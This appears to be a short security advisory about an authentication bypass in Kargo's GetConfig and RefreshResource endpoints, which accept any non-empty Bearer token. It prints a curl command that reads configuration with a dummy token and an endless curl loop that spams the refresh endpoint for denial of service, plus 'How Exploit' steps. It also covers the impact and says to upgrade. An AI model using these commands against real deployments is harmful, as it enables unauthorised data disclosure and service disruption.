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The vulnerability resides in flawed fallback logic for token authentication on specific API endpoints (GetConfig() and RefreshResource). For most endpoints, if Kargo’s internal authentication fails to recognize a Bearer token type, it passes validation to the upstream Kubernetes API server. However, the affected endpoints either do not interface with Kubernetes or use an internal client that bypasses this secondary validation check. This created an authentication gap: the system checked for the presence of a non-empty Bearer token in the `Authorization` header but did not perform any validation of its signature or legitimacy. Consequently, any request containing a header like `Authorization: Bearer dummy_token` was incorrectly authorized, granting unauthenticated users access to sensitive operations.
Platform: Kargo
Version: Pre-patched versions
Vulnerability: Authentication Bypass
Severity: Critical
Date: 2024
Prediction: 2024-05-15
What Undercode Say:
curl -H "Authorization: Bearer any_value" https://<kargo-api>/api/v1/config
while true; do curl -X POST -H "Authorization: Bearer x" https://<kargo-api>/api/v1/refresh-resource; done
How Exploit:
Craft HTTP requests with dummy Bearer token to `GetConfig` endpoint for data exfiltration. Use automated scripts to spam `RefreshResource` endpoint, causing resource annotation storms and potential Kubernetes API DoS.
Protection from this CVE
Upgrade Kargo immediately. Apply network policies restricting API access. No workarounds available.
Impact:
Sensitive configuration data disclosure (Argo CD cluster endpoints, namespaces). Denial-of-Service via reconciliation loops.
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Sources:
Reported By: github.com
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